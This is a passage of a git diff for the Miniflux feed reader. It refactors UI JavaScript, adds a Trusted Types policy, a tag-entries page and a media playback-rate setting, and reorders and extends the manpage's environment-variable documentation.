// Set media playback rate + const playbackRateElements = document.querySelectorAll("audio[data-playback-rate],video[data-playback-rate]"); + playbackRateElements.forEach((element) => { + if (element.dataset.playbackRate) { + element.playbackRate = element.dataset.playbackRate; + } + }); }); diff --git a/internal/ui/static/js/dom_helper.js b/internal/ui/static/js/dom_helper.js index 352d6b03..0bad0d52 100644 --- a/internal/ui/static/js/dom_helper.js +++ b/internal/ui/static/js/dom_helper.js @@ -4,17 +4,17 @@ class DomHelper { } static openNewTab(url) { - let win = window.open(""); + const win = window.open(""); win.opener = null; win.location = url; win.focus(); } static scrollPageTo(element, evenIfOnScreen) { - let windowScrollPosition = window.pageYOffset; - let windowHeight = document.documentElement.clientHeight; - let viewportPosition = windowScrollPosition + windowHeight; - let itemBottomPosition = element.offsetTop + element.offsetHeight; + const windowScrollPosition = window.pageYOffset; + const windowHeight = document.documentElement.clientHeight; + const viewportPosition = windowScrollPosition + windowHeight; + const itemBottomPosition = element.offsetTop + element.offsetHeight; if (evenIfOnScreen || viewportPosition - itemBottomPosition < 0 || viewportPosition - element.offsetTop > windowHeight) { window.scrollTo(0, element.offsetTop - 10); diff --git a/internal/ui/static/js/keyboard_handler.js b/internal/ui/static/js/keyboard_handler.js index 863309d9..eb5b0548 100644 --- a/internal/ui/static/js/keyboard_handler.js +++ b/internal/ui/static/js/keyboard_handler.js @@ -12,7 +12,7 @@ class KeyboardHandler { listen() { document.onkeydown = (event) => { - let key = this.getKey(event); + const key = this.getKey(event); if (this.isEventIgnored(event, key) || this.isModifierKeyDown(event)) { return; } @@ -23,8 +23,8 @@ class KeyboardHandler { this.queue.push(key); - for (let combination in this.shortcuts) { - let keys = combination.split(" "); + for (const combination in this.shortcuts) { + const keys = combination.split(" "); if (keys.every((value, index) => value === this.queue[index])) { this.queue = []; @@ -64,7 +64,7 @@ class KeyboardHandler { 'Right': 'ArrowRight' }; - for (let key in mapping) { + for (const key in mapping) { if (mapping.hasOwnProperty(key) && key === event.key) { return mapping[key]; } diff --git a/internal/ui/static/js/modal_handler.js b/internal/ui/static/js/modal_handler.js index 0fa55bfa..536cea3e 100644 --- a/internal/ui/static/js/modal_handler.js +++ b/internal/ui/static/js/modal_handler.js @@ -8,7 +8,7 @@ class ModalHandler { } static getFocusableElements() { - let container = this.getModalContainer(); + const container = this.getModalContainer(); if (container === null) { return null; @@ -18,14 +18,14 @@ class ModalHandler { } static setupFocusTrap() { - let focusableElements = this.getFocusableElements(); + const focusableElements = this.getFocusableElements(); if (focusableElements === null) { return; } - let firstFocusableElement = focusableElements[0]; - let lastFocusableElement = focusableElements[focusableElements.length - 1]; + const firstFocusableElement = focusableElements[0]; + const lastFocusableElement = focusableElements[focusableElements.length - 1]; this.getModalContainer().onkeydown = (e) => { if (e.key !== 'Tab') { @@ -57,13 +57,13 @@ class ModalHandler { this.activeElement = document.activeElement; - let container = document.createElement("div"); + const container = document.createElement("div"); container.id = "modal-container"; container.setAttribute("role", "dialog"); container.appendChild(document.importNode(fragment, true)); document.body.appendChild(container); - let closeButton = document.querySelector("button.btn-close-modal"); + const closeButton = document.querySelector("button.btn-close-modal"); if (closeButton !== null) { closeButton.onclick = (event) => { event.preventDefault(); @@ -89,7 +89,7 @@ class ModalHandler { } static close() { - let container = this.getModalContainer(); + const container = this.getModalContainer(); if (container !== null) { container.parentNode.removeChild(container); } diff --git a/internal/ui/static/js/touch_handler.js b/internal/ui/static/js/touch_handler.js index 37c14e86..ef28d858 100644 --- a/internal/ui/static/js/touch_handler.js +++ b/internal/ui/static/js/touch_handler.js @@ -15,8 +15,8 @@ class TouchHandler { calculateDistance() { if (this.touch.start.x >= -1 && this.touch.move.x >= -1) { - let horizontalDistance = Math.abs(this.touch.move.x - this.touch.start.x); - let verticalDistance = Math.abs(this.touch.move.y - this.touch.start.y); + const horizontalDistance = Math.abs(this.touch.move.x - this.touch.start.x); + const verticalDistance = Math.abs(this.touch.move.y - this.touch.start.y); if (horizontalDistance > 30 && verticalDistance < 70 || this.touch.moved) { return this.touch.move.x - this.touch.start.x; @@ -54,8 +54,8 @@ class TouchHandler { this.touch.move.x = event.touches[0].clientX; this.touch.move.y = event.touches[0].clientY; - let distance = this.calculateDistance(); - let absDistance = Math.abs(distance); + const distance = this.calculateDistance(); + const absDistance = Math.abs(distance); if (absDistance > 0) { this.touch.moved = true; @@ -78,7 +78,7 @@ class TouchHandler { } if (this.touch.element !== null) { - let absDistance = Math.abs(this.calculateDistance()); + const absDistance = Math.abs(this.calculateDistance()); if (absDistance > 75) { toggleEntryStatus(this.touch.element); @@ -118,9 +118,9 @@ class TouchHandler { return; } - let distance = this.calculateDistance(); - let absDistance = Math.abs(distance); - let now = Date.now(); + const distance = this.calculateDistance(); + const absDistance = Math.abs(distance); + const now = Date.now(); if (now - this.touch.time <= 1000 && absDistance > 75) { if (distance > 0) { @@ -138,10 +138,10 @@ class TouchHandler { return; } - let now = Date.now(); + const now = Date.now(); if (this.touch.start.x !== -1 && now - this.touch.time <= 200) { - let innerWidthHalf = window.innerWidth / 2; + const innerWidthHalf = window.innerWidth / 2; if (this.touch.start.x >= innerWidthHalf && event.changedTouches[0].clientX >= innerWidthHalf) { goToPage("next"); @@ -158,19 +158,16 @@ class TouchHandler { } listen() { - let hasPassiveOption = DomHelper.hasPassiveEventListenerOption(); + const hasPassiveOption = DomHelper.hasPassiveEventListenerOption(); - let elements = document.querySelectorAll(".entry-swipe"); - - elements.forEach((element) => { + document.querySelectorAll(".entry-swipe").forEach((element) => { element.addEventListener("touchstart", (e) => this.onItemTouchStart(e), hasPassiveOption ? { passive: true } : false); element.addEventListener("touchmove", (e) => this.onItemTouchMove(e), hasPassiveOption ? { passive: false } : false); element.addEventListener("touchend", (e) => this.onItemTouchEnd(e), hasPassiveOption ? { passive: true } : false); element.addEventListener("touchcancel", () => this.reset(), hasPassiveOption ? { passive: true } : false); }); - let element = document.querySelector(".entry-content"); - + const element = document.querySelector(".entry-content"); if (element) { if (element.classList.contains("gesture-nav-tap")) { element.addEventListener("touchend", (e) => this.onTapEnd(e), hasPassiveOption ? { passive: true } : false); diff --git a/internal/ui/static/js/tt.js b/internal/ui/static/js/tt.js new file mode 100644 index 00000000..f42cc47a --- /dev/null +++ b/internal/ui/static/js/tt.js @@ -0,0 +1,15 @@ +let ttpolicy; +if (window.trustedTypes && trustedTypes.createPolicy) { + //TODO: use an allow-list for `createScriptURL` + if (!ttpolicy) { + ttpolicy = trustedTypes.createPolicy('ttpolicy', { + createScriptURL: src => src, + createHTML: html => html, + }); + } +} else { + ttpolicy = { + createScriptURL: src => src, + createHTML: html => html, + }; +} diff --git a/internal/ui/static/js/webauthn_handler.js b/internal/ui/static/js/webauthn_handler.js index 0835ae0d..32752d54 100644 --- a/internal/ui/static/js/webauthn_handler.js +++ b/internal/ui/static/js/webauthn_handler.js @@ -5,7 +5,7 @@ class WebAuthnHandler { static showErrorMessage(errorMessage) { console.log("webauthn error: " + errorMessage); - let alertElement = document.getElementById("webauthn-error"); + const alertElement = document.getElementById("webauthn-error"); if (alertElement) { alertElement.textContent += " (" + errorMessage + ")"; alertElement.classList.remove("hidden"); @@ -79,14 +79,14 @@ class WebAuthnHandler { return; } - let credentialCreationOptions = await registerBeginResponse.json(); + const credentialCreationOptions = await registerBeginResponse.json(); credentialCreationOptions.publicKey.challenge = this.decodeBuffer(credentialCreationOptions.publicKey.challenge); credentialCreationOptions.publicKey.user.id = this.decodeBuffer(credentialCreationOptions.publicKey.user.id); if (Object.hasOwn(credentialCreationOptions.publicKey, 'excludeCredentials')) { credentialCreationOptions.publicKey.excludeCredentials.forEach((credential) => credential.id = this.decodeBuffer(credential.id)); } - let attestation = await navigator.credentials.create(credentialCreationOptions); + const attestation = await navigator.credentials.create(credentialCreationOptions); let registrationFinishResponse; try { @@ -108,7 +108,7 @@ class WebAuthnHandler { throw new Error("Login failed with HTTP status code " + response.status); } - let jsonData = await registrationFinishResponse.json(); + const jsonData = await registrationFinishResponse.json(); window.location.href = jsonData.redirect; } @@ -121,7 +121,7 @@ class WebAuthnHandler { return; } - let credentialRequestOptions = await loginBeginResponse.json(); + const credentialRequestOptions = await loginBeginResponse.json(); credentialRequestOptions.publicKey.challenge = this.decodeBuffer(credentialRequestOptions.publicKey.challenge); if (Object.hasOwn(credentialRequestOptions.publicKey, 'allowCredentials')) { diff --git a/internal/ui/static/static.go b/internal/ui/static/static.go index fd653b81..3ddff18d 100644 --- a/internal/ui/static/static.go +++ b/internal/ui/static/static.go @@ -113,6 +113,7 @@ func GenerateStylesheetsBundles() error { func GenerateJavascriptBundles() error { var bundles = map[string][]string{ "app": { + "js/tt.js", // has to be first "js/dom_helper.js", "js/touch_handler.js", "js/keyboard_handler.js", diff --git a/internal/ui/static_javascript.go b/internal/ui/static_javascript.go index e11c125a..f2fb89fc 100644 --- a/internal/ui/static_javascript.go +++ b/internal/ui/static_javascript.go @@ -28,7 +28,7 @@ func (h *handler) showJavascript(w http.ResponseWriter, r *http.Request) { if filename == "service-worker" { variables := fmt.Sprintf(`const OFFLINE_URL=%q;`, route.Path(h.router, "offline")) - contents = append([]byte(variables)[:], contents[:]...) + contents = append([]byte(variables), contents...) } b.WithHeader("Content-Type", "text/javascript; charset=utf-8") diff --git a/internal/ui/subscription_submit.go b/internal/ui/subscription_submit.go index 267e9d7c..fd8e43ef 100644 --- a/internal/ui/subscription_submit.go +++ b/internal/ui/subscription_submit.go @@ -86,24 +86,26 @@ func (h *handler) submitSubscription(w http.ResponseWriter, r *http.Request) { html.OK(w, r, v.Render("add_subscription")) case n == 1 && subscriptionFinder.IsFeedAlreadyDownloaded(): feed, localizedError := feedHandler.CreateFeedFromSubscriptionDiscovery(h.store, user.ID, &model.FeedCreationRequestFromSubscriptionDiscovery{ - Content: subscriptionFinder.FeedResponseInfo().Content, - ETag: subscriptionFinder.FeedResponseInfo().ETag, - LastModified: subscriptionFinder.FeedResponseInfo().LastModified, - CategoryID: subscriptionForm.CategoryID, - FeedURL: subscriptions[0].URL, - Crawler: subscriptionForm.Crawler, - AllowSelfSignedCertificates: subscriptionForm.AllowSelfSignedCertificates, - UserAgent: subscriptionForm.UserAgent, - Cookie: subscriptionForm.Cookie, - Username: subscriptionForm.Username, - Password: subscriptionForm.Password, - ScraperRules: subscriptionForm.ScraperRules, - RewriteRules: subscriptionForm.RewriteRules, - BlocklistRules: subscriptionForm.BlocklistRules, - KeeplistRules: subscriptionForm.KeeplistRules, - UrlRewriteRules: subscriptionForm.UrlRewriteRules, - FetchViaProxy: subscriptionForm.FetchViaProxy, - DisableHTTP2: subscriptionForm.DisableHTTP2, + Content: subscriptionFinder.FeedResponseInfo().Content, + ETag: subscriptionFinder.FeedResponseInfo().ETag, + LastModified: subscriptionFinder.FeedResponseInfo().LastModified, + FeedCreationRequest: model.FeedCreationRequest{ + CategoryID: subscriptionForm.CategoryID, + FeedURL: subscriptions[0].URL, + AllowSelfSignedCertificates: subscriptionForm.AllowSelfSignedCertificates, + Crawler: subscriptionForm.Crawler, + UserAgent: subscriptionForm.UserAgent, + Cookie: subscriptionForm.Cookie, + Username: subscriptionForm.Username, + Password: subscriptionForm.Password, + ScraperRules: subscriptionForm.ScraperRules, + RewriteRules: subscriptionForm.RewriteRules, + BlocklistRules: subscriptionForm.BlocklistRules, + KeeplistRules: subscriptionForm.KeeplistRules, + UrlRewriteRules: subscriptionForm.UrlRewriteRules, + FetchViaProxy: subscriptionForm.FetchViaProxy, + DisableHTTP2: subscriptionForm.DisableHTTP2, + }, }) if localizedError != nil { v.Set("form", subscriptionForm) diff --git a/internal/ui/tag_entries_all.go b/internal/ui/tag_entries_all.go new file mode 100644 index 00000000..a7f6fb02 --- /dev/null +++ b/internal/ui/tag_entries_all.go @@ -0,0 +1,65 @@ +// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +package ui // import "miniflux.app/v2/internal/ui" + +import ( + "net/http" + "net/url" + + "miniflux.app/v2/internal/http/request" + "miniflux.app/v2/internal/http/response/html" + "miniflux.app/v2/internal/http/route" + "miniflux.app/v2/internal/model" + "miniflux.app/v2/internal/ui/session" + "miniflux.app/v2/internal/ui/view" +) + +func (h *handler) showTagEntriesAllPage(w http.ResponseWriter, r *http.Request) { + user, err := h.store.UserByID(request.UserID(r)) + if err != nil { + html.ServerError(w, r, err) + return + } + + tagName, err := url.PathUnescape(request.RouteStringParam(r, "tagName")) + if err != nil { + html.ServerError(w, r, err) + return + } + + offset := request.QueryIntParam(r, "offset", 0) + builder := h.store.NewEntryQueryBuilder(user.ID) + builder.WithoutStatus(model.EntryStatusRemoved) + builder.WithTags([]string{tagName}) + builder.WithSorting("status", "asc") + builder.WithSorting(user.EntryOrder, user.EntryDirection) + builder.WithOffset(offset) + builder.WithLimit(user.EntriesPerPage) + + entries, err := builder.GetEntries() + if err != nil { + html.ServerError(w, r, err) + return + } + + count, err := builder.CountEntries() + if err != nil { + html.ServerError(w, r, err) + return + } + + sess := session.New(h.store, request.SessionID(r)) + view := view.New(h.tpl, r, sess) + view.Set("tagName", tagName) + view.Set("total", count) + view.Set("entries", entries) + view.Set("pagination", getPagination(route.Path(h.router, "tagEntriesAll", "tagName", url.PathEscape(tagName)), count, offset, user.EntriesPerPage)) + view.Set("user", user) + view.Set("countUnread", h.store.CountUnreadEntries(user.ID)) + view.Set("countErrorFeeds", h.store.CountUserFeedsWithErrors(user.ID)) + view.Set("hasSaveEntry", h.store.HasSaveEntry(user.ID)) + view.Set("showOnlyUnreadEntries", false) + + html.OK(w, r, view.Render("tag_entries")) +} diff --git a/internal/ui/ui.go b/internal/ui/ui.go index 6d8e729c..d6641c01 100644 --- a/internal/ui/ui.go +++ b/internal/ui/ui.go @@ -93,6 +93,10 @@ func Serve(router *mux.Router, store *storage.Storage, pool *worker.Pool) { uiRouter.HandleFunc("/category/{categoryID}/remove", handler.removeCategory).Name("removeCategory").Methods(http.MethodPost) uiRouter.HandleFunc("/category/{categoryID}/mark-all-as-read", handler.markCategoryAsRead).Name("markCategoryAsRead").Methods(http.MethodPost) + // Tag pages. + uiRouter.HandleFunc("/tags/{tagName}/entries/all", handler.showTagEntriesAllPage).Name("tagEntriesAll").Methods(http.MethodGet) + uiRouter.HandleFunc("/tags/{tagName}/entry/{entryID}", handler.showTagEntryPage).Name("tagEntry").Methods(http.MethodGet) + // Entry pages. uiRouter.HandleFunc("/entry/status", handler.updateEntriesStatus).Name("updateEntriesStatus").Methods(http.MethodPost) uiRouter.HandleFunc("/entry/save/{entryID}", handler.saveEntry).Name("saveEntry").Methods(http.MethodPost) diff --git a/internal/ui/webauthn.go b/internal/ui/webauthn.go index 8a671ca2..8f1462da 100644 --- a/internal/ui/webauthn.go +++ b/internal/ui/webauthn.go @@ -57,7 +57,7 @@ func (u WebAuthnUser) WebAuthnCredentials() []webauthn.Credential { return creds } -func newWebAuthn(h *handler) (*webauthn.WebAuthn, error) { +func newWebAuthn() (*webauthn.WebAuthn, error) { url, err := url.Parse(config.Opts.BaseURL()) if err != nil { return nil, err @@ -70,7 +70,7 @@ func newWebAuthn(h *handler) (*webauthn.WebAuthn, error) { } func (h *handler) beginRegistration(w http.ResponseWriter, r *http.Request) { - web, err := newWebAuthn(h) + web, err := newWebAuthn() if err != nil { json.ServerError(w, r, err) return @@ -117,7 +117,7 @@ func (h *handler) beginRegistration(w http.ResponseWriter, r *http.Request) { } func (h *handler) finishRegistration(w http.ResponseWriter, r *http.Request) { - web, err := newWebAuthn(h) + web, err := newWebAuthn() if err != nil { json.ServerError(w, r, err) return @@ -152,7 +152,7 @@ func (h *handler) finishRegistration(w http.ResponseWriter, r *http.Request) { } func (h *handler) beginLogin(w http.ResponseWriter, r *http.Request) { - web, err := newWebAuthn(h) + web, err := newWebAuthn() if err != nil { json.ServerError(w, r, err) return @@ -195,7 +195,7 @@ func (h *handler) beginLogin(w http.ResponseWriter, r *http.Request) { } func (h *handler) finishLogin(w http.ResponseWriter, r *http.Request) { - web, err := newWebAuthn(h) + web, err := newWebAuthn() if err != nil { json.ServerError(w, r, err) return diff --git a/internal/validator/feed.go b/internal/validator/feed.go index 25f7f1fc..6a353892 100644 --- a/internal/validator/feed.go +++ b/internal/validator/feed.go @@ -39,7 +39,7 @@ func ValidateFeedCreation(store *storage.Storage, userID int64, request *model.F } // ValidateFeedModification validates feed modification. -func ValidateFeedModification(store *storage.Storage, userID int64, request *model.FeedModificationRequest) *locale.LocalizedError { +func ValidateFeedModification(store *storage.Storage, userID, feedID int64, request *model.FeedModificationRequest) *locale.LocalizedError { if request.FeedURL != nil { if *request.FeedURL == "" { return locale.NewLocalizedError("error.feed_url_not_empty") @@ -48,6 +48,10 @@ func ValidateFeedModification(store *storage.Storage, userID int64, request *mod if !IsValidURL(*request.FeedURL) { return locale.NewLocalizedError("error.invalid_feed_url") } + + if store.AnotherFeedURLExists(userID, feedID, *request.FeedURL) { + return locale.NewLocalizedError("error.feed_already_exists") + } } if request.SiteURL != nil { diff --git a/internal/validator/user.go b/internal/validator/user.go index 8c6cc9d2..a397167e 100644 --- a/internal/validator/user.go +++ b/internal/validator/user.go @@ -102,6 +102,12 @@ func ValidateUserModification(store *storage.Storage, userID int64, changes *mod } } + if changes.MediaPlaybackRate != nil { + if err := validateMediaPlaybackRate(*changes.MediaPlaybackRate); err != nil { + return err + } + } + return nil } @@ -182,3 +188,10 @@ func validateDefaultHomePage(defaultHomePage string) *locale.LocalizedError { } return nil } + +func validateMediaPlaybackRate(mediaPlaybackRate float64) *locale.LocalizedError { + if mediaPlaybackRate < 0.25 || mediaPlaybackRate > 4 { + return locale.NewLocalizedError("error.settings_media_playback_rate_range") + } + return nil +} diff --git a/miniflux.1 b/miniflux.1 index 81e8d721..67132a5d 100644 --- a/miniflux.1 +++ b/miniflux.1 @@ -1,5 +1,5 @@ .\" Manpage for miniflux. -.TH "MINIFLUX" "1" "November 5, 2023" "\ \&" "\ \&" +.TH "MINIFLUX" "1" "March 23, 2024" "\ \&" "\ \&" .SH NAME miniflux \- Minimalist and opinionated feed reader @@ -31,7 +31,7 @@ Load configuration file\&. .PP .B \-create-admin .RS 4 -Create admin user\&. +Create an admin user from an interactive terminal\&. .RE .PP .B \-debug @@ -120,6 +120,130 @@ Environment variables override the values defined in the config file. .SH ENVIRONMENT .TP +.B ADMIN_PASSWORD +Admin user password, used only if $CREATE_ADMIN is enabled\&. +.br +Default is empty\&. +.TP +.B ADMIN_PASSWORD_FILE +Path to a secret key exposed as a file, it should contain $ADMIN_PASSWORD value\&. +.br +Default is empty\&. +.TP +.B ADMIN_USERNAME +Admin user login, used only if $CREATE_ADMIN is enabled\&. +.br +Default is empty\&. +.TP +.B ADMIN_USERNAME_FILE +Path to a secret key exposed as a file, it should contain $ADMIN_USERNAME value\&. +.br +Default is empty\&. +.TP +.B AUTH_PROXY_HEADER +Proxy authentication HTTP header\&. +.br +Default is empty. +.TP +.B AUTH_PROXY_USER_CREATION +Set to 1 to create users based on proxy authentication information\&. +.br +Disabled by default\&. +.TP +.B BASE_URL +Base URL to generate HTML links and base path for cookies\&. +.br +Default is http://localhost/\&. +.TP +.B BATCH_SIZE +Number of feeds to send to the queue for each interval\&. +.br +Default is 100 feeds\&. +.TP +.B CERT_DOMAIN +Use Let's Encrypt to get automatically a certificate for this domain\&. +.br +Default is empty\&. +.TP +.B CERT_FILE +Path to SSL certificate\&. +.br +Default is empty\&. +.TP +.B CLEANUP_ARCHIVE_BATCH_SIZE +Number of entries to archive for each job interval\&. +.br +Default is 10000 entries\&. +.TP +.B CLEANUP_ARCHIVE_READ_DAYS +Number of days after marking read entries as removed\&. +.br +Set to -1 to keep all read entries. +.br +Default is 60 days\&. +.TP +.B CLEANUP_ARCHIVE_UNREAD_DAYS +Number of days after marking unread entries as removed\&. +.br +Set to -1 to keep all unread entries. +.br +Default is 180 days\&. +.TP +.B CLEANUP_FREQUENCY_HOURS +Cleanup job frequency. Remove old sessions and archive entries\&. +.br +Default is 24 hours\&. +.TP +.B CLEANUP_REMOVE_SESSIONS_DAYS +Number of days after removing old sessions from the database\&. +.br +Default is 30 days\&. +.TP +.B CREATE_ADMIN +Set to 1 to create an admin user from environment variables\&. +.br +Disabled by default\&. +.TP +.B DATABASE_CONNECTION_LIFETIME +Set the maximum amount of time a connection may be reused\&. +.br +Default is 5 minutes\&. +.TP +.B DATABASE_MAX_CONNS +Maximum number of database connections\&. +.br +Default is 20\&. +.TP +.B DATABASE_MIN_CONNS +Minimum number of database connections\&. +.br +Default is 20\&. +.TP +.B DATABASE_URL +Postgresql connection parameters\&. +.br +Default is "user=postgres password=postgres dbname=miniflux2 sslmode=disable"\&. +.TP +.B DATABASE_URL_FILE +Path to a secret key exposed as a file, it should contain $DATABASE_URL value\&. +.br +Default is empty\&. +.TP +.B DISABLE_HSTS +Disable HTTP Strict Transport Security header if \fBHTTPS\fR is set\&. +.br +Default is false (The HSTS is enabled)\&. +.TP +.B DISABLE_HTTP_SERVICE +Set the value to 1 to disable the HTTP service\&. +.br +Default is false (The HTTP service is enabled)\&. +.TP +.B DISABLE_SCHEDULER_SERVICE +Set the value to 1 to disable the internal scheduler service\&. +.br +Default is false (The internal scheduler service is enabled)\&. +.TP .B FETCH_ODYSEE_WATCH_TIME Set the value to 1 to scrape video duration from Odysee website and use it as a reading time\&. @@ -132,15 +256,64 @@ use it as a reading time\&. .br Disabled by default\&. .TP -.B YOUTUBE_EMBED_URL_OVERRIDE -YouTube URL which will be used for embeds\&. +.B FILTER_ENTRY_MAX_AGE_DAYS +Number of days after which new entries should be retained\&. .br -Default is https://www.youtube-nocookie.com/embed/\& +Set 7 to fetch only entries 7 days old\&. +.br +Default is 0 (disabled)\&. .TP -.B SERVER_TIMING_HEADER -Set the value to 1 to enable server-timing headers\&. +.B FORCE_REFRESH_INTERVAL +The minimum interval for manual refresh\&. .br -Disabled by default\&. +Default is 30 minutes\&. +.TP +.B HTTP_CLIENT_MAX_BODY_SIZE +Maximum body size for HTTP requests in Mebibyte (MiB)\&. +.br +Default is 15 MiB\&. +.TP +.B HTTP_CLIENT_PROXY +Proxy URL for HTTP client\&. +.br +Default is empty\&. +.TP +.B HTTP_CLIENT_TIMEOUT +Time limit in seconds before the HTTP client cancel the request\&. +.br +Default is 20 seconds\&. +.TP +.B HTTP_CLIENT_USER_AGENT +The default User-Agent header to use for the HTTP client. Can be overridden in per-feed settings\&. +.br +When empty, Miniflux uses a default User-Agent that includes the Miniflux version\&. +.br +Default is empty. +.TP +.B HTTP_SERVER_TIMEOUT +Time limit in seconds before the HTTP client cancel the request\&. +.br +Default is 300 seconds\&. +.TP +.B HTTPS +Forces cookies to use secure flag and send HSTS header\&. +.br +Default is empty\&. +.TP +.B INVIDIOUS_INSTANCE +Set a custom invidious instance to use\&. +.br +Default is yewtu.be\&. +.TP +.B KEY_FILE +Path to SSL private key\&. +.br +Default is empty\&. +.TP +.B LISTEN_ADDR +Address to listen on. Use absolute path to listen on Unix socket (/var/run/miniflux.sock)\&. +.br +Default is 127.0.0.1:8080\&. .TP .B LOG_DATE_TIME Display the date and time in log messages\&. @@ -162,190 +335,50 @@ Supported values are "debug", "info", "warning", or "error"\&. .br Default is "info"\&. .TP -.B WORKER_POOL_SIZE -Number of background workers\&. +.B MAINTENANCE_MESSAGE +Define a custom maintenance message\&. .br -Default is 5 workers\&. +Default is "Miniflux is currently under maintenance"\&. .TP -.B POLLING_FREQUENCY -Refresh interval in minutes for feeds\&. -.br -Default is 60 minutes\&. -.TP -.B FORCE_REFRESH_INTERVAL -The minimum interval for manual refresh\&. -.br -Default is 30 minutes\&. -.TP -.B BATCH_SIZE -Number of feeds to send to the queue for each interval\&. -.br -Default is 100 feeds\&. -.TP -.B POLLING_SCHEDULER -Scheduler used for polling feeds. Possible values are "round_robin" or "entry_frequency"\&. -.br -The maximum number of feeds polled for a given period is subject to POLLING_FREQUENCY and BATCH_SIZE\&. -.br -When "entry_frequency" is selected, the refresh interval for a given feed is equal to the average updating interval of the last week of the feed\&. -.br -The actual number of feeds polled will not exceed the maximum number of feeds that could be polled for a given period\&. -.br -Default is "round_robin"\&. -.TP -.B SCHEDULER_ENTRY_FREQUENCY_MAX_INTERVAL -Maximum interval in minutes for the entry frequency scheduler\&. -.br -Default is 24 hours\&. -.TP -.B SCHEDULER_ENTRY_FREQUENCY_MIN_INTERVAL -Minimum interval in minutes for the entry frequency scheduler\&. -.br -Default is 5 minutes\&. -.TP -.B SCHEDULER_ENTRY_FREQUENCY_FACTOR -Factor to increase refresh frequency for the entry frequency scheduler\&. -.br -Default is 1\&. -.TP -.B SCHEDULER_ROUND_ROBIN_MIN_INTERVAL -Minimum interval in minutes for the round robin scheduler\&. -.br -Default is 60 minutes\&. -.TP -.B POLLING_PARSING_ERROR_LIMIT -The maximum number of parsing errors that the program will try before stopping polling a feed. Once the limit is reached, the user must refresh the feed manually. Set to 0 for unlimited. -.br -Default is 3\&. -.TP -.B DATABASE_URL -Postgresql connection parameters\&. -.br -Default is "user=postgres password=postgres dbname=miniflux2 sslmode=disable"\&. -.TP -.B DATABASE_URL_FILE -Path to a secret key exposed as a file, it should contain $DATABASE_URL value\&. -.br -Default is empty\&. -.TP -.B DATABASE_CONNECTION_LIFETIME -Set the maximum amount of time a connection may be reused\&. -.br -Default is 5 minutes\&. -.TP -.B DATABASE_MAX_CONNS -Maximum number of database connections\&. -.br -Default is 20\&. -.TP -.B DATABASE_MIN_CONNS -Minimum number of database connections\&. -.br -Default is 20\&. -.TP -.B LISTEN_ADDR -Address to listen on. Use absolute path to listen on Unix socket (/var/run/miniflux.sock)\&. -.br -Default is 127.0.0.1:8080\&. -.TP -.B PORT -Override LISTEN_ADDR to 0.0.0.0:$PORT\&. -.br -Default is empty\&. -.TP -.B BASE_URL -Base URL to generate HTML links and base path for cookies\&. -.br -Default is http://localhost/\&. -.TP -.B CLEANUP_FREQUENCY_HOURS -Cleanup job frequency. Remove old sessions and archive entries\&. -.br -Default is 24 hours\&. -.TP -.B CLEANUP_ARCHIVE_READ_DAYS -Number of days after marking read entries as removed\&. -.br -Set to -1 to keep all read entries. -.br -Default is 60 days\&. -.TP -.B CLEANUP_ARCHIVE_UNREAD_DAYS -Number of days after marking unread entries as removed\&. -.br -Set to -1 to keep all unread entries. -.br -Default is 180 days\&. -.TP -.B CLEANUP_ARCHIVE_BATCH_SIZE -Number of entries to archive for each job interval\&. -.br -Default is 10000 entries\&. -.TP -.B CLEANUP_REMOVE_SESSIONS_DAYS -Number of days after removing old sessions from the database\&. -.br -Default is 30 days\&. -.TP -.B HTTPS -Forces cookies to use secure flag and send HSTS header\&. -.br -Default is empty\&. -.TP -.B DISABLE_HSTS -Disable HTTP Strict Transport Security header if \fBHTTPS\fR is set\&. -.br -Default is false (The HSTS is enabled)\&. -.TP -.B DISABLE_HTTP_SERVICE -Set the value to 1 to disable the HTTP service\&. -.br -Default is false (The HTTP service is enabled)\&. -.TP -.B DISABLE_SCHEDULER_SERVICE -Set the value to 1 to disable the internal scheduler service\&. -.br -Default is false (The internal scheduler service is enabled)\&. -.TP -.B CERT_FILE -Path to SSL certificate\&. -.br -Default is empty\&. -.TP -.B KEY_FILE -Path to SSL private key\&. -.br -Default is empty\&. -.TP -.B CERT_DOMAIN -Use Let's Encrypt to get automatically a certificate for this domain\&. -.br -Default is empty\&. -.TP -.B METRICS_COLLECTOR -Set to 1 to enable metrics collector. Expose a /metrics endpoint for Prometheus. +.B MAINTENANCE_MODE +Set to 1 to enable maintenance mode\&. .br Disabled by default\&. .TP -.B METRICS_REFRESH_INTERVAL -Refresh interval to collect database metrics\&. +.B MEDIA_PROXY_CUSTOM_URL +Sets an external server to proxy media through\&. .br -Default is 60 seconds\&. +Default is empty, Miniflux does the proxying\&. +.TP +.B MEDIA_PROXY_HTTP_CLIENT_TIMEOUT +Time limit in seconds before the media proxy HTTP client cancel the request\&. +.br +Default is 120 seconds\&. +.TP +.B MEDIA_PROXY_RESOURCE_TYPES +A comma-separated list of media types to proxify. Supported values are: image, audio, video\&. +.br +Default is image\&. +.TP +.B MEDIA_PROXY_MODE +Possible values: http-only, all, or none\&. +.br +Default is http-only\&. +.TP +.B MEDIA_PROXY_PRIVATE_KEY +Set a custom custom private key used to sign proxified media URLs\&. +.br +By default, a secret key is randomly generated during startup\&. .TP .B METRICS_ALLOWED_NETWORKS List of networks allowed to access the metrics endpoint (comma-separated values)\&. .br Default is 127.0.0.1/8\&. .TP -.B METRICS_USERNAME -Metrics endpoint username for basic HTTP authentication\&. +.B METRICS_COLLECTOR +Set to 1 to enable metrics collector. Expose a /metrics endpoint for Prometheus. .br -Default is emtpty\&. -.TP -.B METRICS_USERNAME_FILE -Path to a file that contains the username for the metrics endpoint HTTP authentication\&. -.br -Default is emtpty\&. +Disabled by default\&. .TP .B METRICS_PASSWORD Metrics endpoint password for basic HTTP authentication\&. @@ -357,10 +390,20 @@ Path to a file that contains the password for the metrics endpoint HTTP authenti .br Default is emtpty\&. .TP -.B OAUTH2_PROVIDER -Possible values are "google" or "oidc"\&. +.B METRICS_REFRESH_INTERVAL +Refresh interval to collect database metrics\&. .br -Default is empty\&. +Default is 60 seconds\&. +.TP +.B METRICS_USERNAME +Metrics endpoint username for basic HTTP authentication\&. +.br +Default is emtpty\&. +.TP +.B METRICS_USERNAME_FILE +Path to a file that contains the username for the metrics endpoint HTTP authentication\&. +.br +Default is emtpty\&. .TP .B OAUTH2_CLIENT_ID OAuth2 client ID\&. @@ -382,6 +425,16 @@ Path to a secret key exposed as a file, it should contain $OAUTH2_CLIENT_SECRET .br Default is empty\&. .TP +.B OAUTH2_OIDC_DISCOVERY_ENDPOINT +OpenID Connect discovery endpoint\&. 